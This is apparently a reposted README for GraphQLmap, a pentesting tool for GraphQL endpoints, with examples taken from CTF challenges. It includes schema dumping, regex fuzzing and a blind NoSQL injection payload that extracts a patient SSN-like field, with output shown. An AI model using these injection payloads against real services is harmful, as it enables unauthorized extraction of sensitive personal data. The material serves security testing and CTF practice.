GraphQLmap - A Scripting Engine To Interact With A Graphql Endpoint For Pentesting Purposes
GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
$ git clone https://github.com/swisskyrepo/GraphQLmap$ python graphqlmap.py _____ _ ____ _ / ____| | | / __ \| | | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) | \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ | | | | |_| |_| Author:Swissky Version:1.0usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]optional arguments: -h, --help show this help message and exit -u URL URL to query : example.com/graphql?query={} -v [VERBOSITY] Enable verbosity --method [METHOD] HTTP Method to use interact with /graphql endpoint --headers [HEADERS] HTTP Headers sent to /graphql endpoint --json Send requests using POST and JSONFeatures and examples
Examples are based on several CTF challenges from HIP2019.
Connect to a graphql endpointpython3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'Dump a GraphQL schema
Use dump_new to dump the GraphQL schema, this function will automaticly populate the "autocomplete" with the found fields.
GraphQLmap > dump_new ============= [SCHEMA] ===============e.g: name[Type]: arg (Type!) Query doctor[]: email (String!), doctors[Doctor]: patients[Patient]: patient[]: id (ID!), allrendezvous[Rendezvous]: rendezvous[]: id (ID!), Doctor id[ID]: firstName[String]: lastName[String]: specialty[String]: patients[None]: rendezvous[None]: email[String]: password[String]: [...]Interact with a GraphQL endpoint
Write a GraphQL request and execute it.
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}{ "data": { "doctors": [ { "firstName": "Admin", "id": "5d089c51dcab2d0032fdd08d", "lastName": "Admin" } ] }}GraphQL field fuzzing
Use GRAPHQL_INCREMENT and GRAPHQL_CHARSET to fuzz a parameter.
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}} [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}} [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}} [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}NoSQLi injection
Use BLIND_PLACEHOLDER inside the query for the nosqli function.
GraphQLmap > nosqliQuery > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}Check > 5d089c51dcab2d0032fdd08dCharset > 0123456789abcdef-[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3bGraphQLmap >SQL injection
GraphQLmap > postgresqliGraphQLmap > mysqliGraphQLmap > mssqliTODO
- Docker with vulnerable GraphQL
- Unit tests
- Handle node
{ user { edges { node { username } } }}Via: feedproxy.google.com
GraphQLmap - A Scripting Engine To Interact With A Graphql Endpoint For Pentesting Purposes
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Reviewed by Anónimo
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